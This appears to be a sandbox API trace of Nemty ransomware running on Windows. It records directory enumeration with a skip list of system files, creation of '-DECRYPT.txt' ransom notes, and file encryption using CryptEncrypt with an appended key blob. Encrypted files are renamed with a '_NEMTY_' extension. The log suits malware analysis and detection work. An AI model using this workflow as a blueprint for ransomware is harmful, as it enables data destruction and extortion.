1 [0182.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.663] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\SendMail.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\sendmail.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\SendMail.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\sendmail.rum._nemty_kgobjgd_")) returned 1 [0182.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.664] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0182.664] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0182.665] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0182.665] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0182.665] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0182.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0182.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0182.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0182.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0182.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0182.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.667] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.667] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0182.668] CloseHandle (hObject=0x2e8) returned 1 [0182.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0182.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0182.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0182.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0182.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0182.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.668] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.669] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.669] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0182.670] CloseHandle (hObject=0x2e8) returned 1 [0182.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0182.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0182.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.670] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20850890, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20850890, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0182.670] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0182.670] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20850890, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20850890, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.670] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0182.671] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0182.671] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x93a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0182.671] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0182.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0182.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0182.672] Sleep (dwMilliseconds=0x5) [0182.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x208769f0, dwHighDateTime=0x1d561e8)) [0182.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x208769f0, dwHighDateTime=0x1d561e8)) [0182.674] GetLastError () returned 0xb7 [0182.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.674] GetLastError () returned 0xb7 [0182.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.674] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0182.674] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0182.674] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0182.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0182.674] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="Th+tT6AnqH6sWcwXCCOmMLukzJY8zte3bpklQ6+RlXW8uFi3/yvEAl6gb8VV8iFE\r\nSSPvAPcQnATNKDo9q9mcNr+cTZlUubejP6sBel/G/FERDUHst0WV65k17mB+Hgjr\r\nMZVE+B+HqakCkHt2/50OqDHrIW/mk0n7duaY77g3Nh9jTK/jK/yM30pHV8XyFnL9\r\nqol90MXwsUr78uS9h5JrEmXw4ujQPGjmCLZsciUVYhAQEJmLyQae1lDkLg6bEcch\r\nl9K71wXan38rrWtmclsCRxVMFC/5W2B86Vs9ICpPrxOGjJjcmi8IbVHw6ohIUzEw\r\nq2l012uXSqJAmWUgz+g4Gg==\r\n", pcchString=0x653e29c) returned 1 [0182.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0182.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.674] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0182.675] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=37796) returned 1 [0182.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x93a0) returned 0x6352c48 [0182.675] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.675] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x93a0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x93a0, lpOverlapped=0x0) returned 1 [0182.679] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.679] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x93a0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x93a0, lpOverlapped=0x0) returned 1 [0182.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.679] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=37796, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x93a4 [0182.680] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0182.680] CloseHandle (hObject=0x2f0) returned 1 [0182.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0182.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0182.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0182.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0182.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.680] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0182.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: 